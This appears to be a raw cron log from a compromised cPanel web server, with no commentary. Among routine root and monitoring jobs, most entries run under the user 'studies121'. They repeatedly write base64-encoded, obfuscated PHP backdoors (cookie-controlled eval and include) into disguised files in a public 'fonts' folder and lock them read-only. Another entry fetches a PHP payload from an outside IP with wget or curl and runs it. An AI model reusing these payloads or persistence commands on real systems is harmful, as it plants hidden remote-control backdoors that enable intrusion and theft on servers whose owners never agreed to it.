Sep 12 10:32:01 ip-184-168-122-23 CROND[10285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:32:01 ip-184-168-122-23 CROND[10287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:33:01 ip-184-168-122-23 CROND[10376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:33:01 ip-184-168-122-23 CROND[10377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:33:01 ip-184-168-122-23 CROND[10379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:33:01 ip-184-168-122-23 CROND[10381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:34:01 ip-184-168-122-23 CROND[10485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:34:02 ip-184-168-122-23 CROND[10487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:34:02 ip-184-168-122-23 CROND[10490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:34:02 ip-184-168-122-23 CROND[10491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:34:02 ip-184-168-122-23 CROND[10489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:35:01 ip-184-168-122-23 CROND[10606]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:35:01 ip-184-168-122-23 CROND[10608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:35:01 ip-184-168-122-23 CROND[10611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:35:01 ip-184-168-122-23 CROND[10609]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:35:01 ip-184-168-122-23 CROND[10612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:35:01 ip-184-168-122-23 CROND[10613]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 10:35:01 ip-184-168-122-23 CROND[10610]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 10:35:01 ip-184-168-122-23 CROND[10614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:36:01 ip-184-168-122-23 CROND[10773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:36:01 ip-184-168-122-23 CROND[10774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:36:01 ip-184-168-122-23 CROND[10777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:36:01 ip-184-168-122-23 CROND[10778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:36:01 ip-184-168-122-23 CROND[10780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:37:01 ip-184-168-122-23 CROND[10989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:37:01 ip-184-168-122-23 CROND[10992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:37:01 ip-184-168-122-23 CROND[10991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:37:01 ip-184-168-122-23 CROND[10993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:38:01 ip-184-168-122-23 CROND[11098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:38:01 ip-184-168-122-23 CROND[11100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:38:01 ip-184-168-122-23 CROND[11102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:38:01 ip-184-168-122-23 CROND[11101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:38:01 ip-184-168-122-23 CROND[11104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:39:01 ip-184-168-122-23 CROND[11192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:39:01 ip-184-168-122-23 CROND[11194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:39:01 ip-184-168-122-23 CROND[11195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:39:01 ip-184-168-122-23 CROND[11197]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 10:39:01 ip-184-168-122-23 CROND[11196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:40:01 ip-184-168-122-23 CROND[11303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:40:01 ip-184-168-122-23 CROND[11304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:40:01 ip-184-168-122-23 CROND[11308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:40:01 ip-184-168-122-23 CROND[11307]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:40:01 ip-184-168-122-23 CROND[11310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:40:01 ip-184-168-122-23 CROND[11311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:40:01 ip-184-168-122-23 CROND[11309]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:40:01 ip-184-168-122-23 CROND[11313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:41:01 ip-184-168-122-23 CROND[11438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:41:01 ip-184-168-122-23 CROND[11440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:41:01 ip-184-168-122-23 CROND[11443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:41:01 ip-184-168-122-23 CROND[11444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:42:01 ip-184-168-122-23 CROND[11627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:42:01 ip-184-168-122-23 CROND[11628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:42:01 ip-184-168-122-23 CROND[11631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:42:01 ip-184-168-122-23 CROND[11633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:42:01 ip-184-168-122-23 CROND[11632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:43:01 ip-184-168-122-23 CROND[11716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:43:01 ip-184-168-122-23 CROND[11718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:43:01 ip-184-168-122-23 CROND[11721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:43:01 ip-184-168-122-23 CROND[11720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:44:02 ip-184-168-122-23 CROND[11822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:44:02 ip-184-168-122-23 CROND[11824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:44:02 ip-184-168-122-23 CROND[11825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
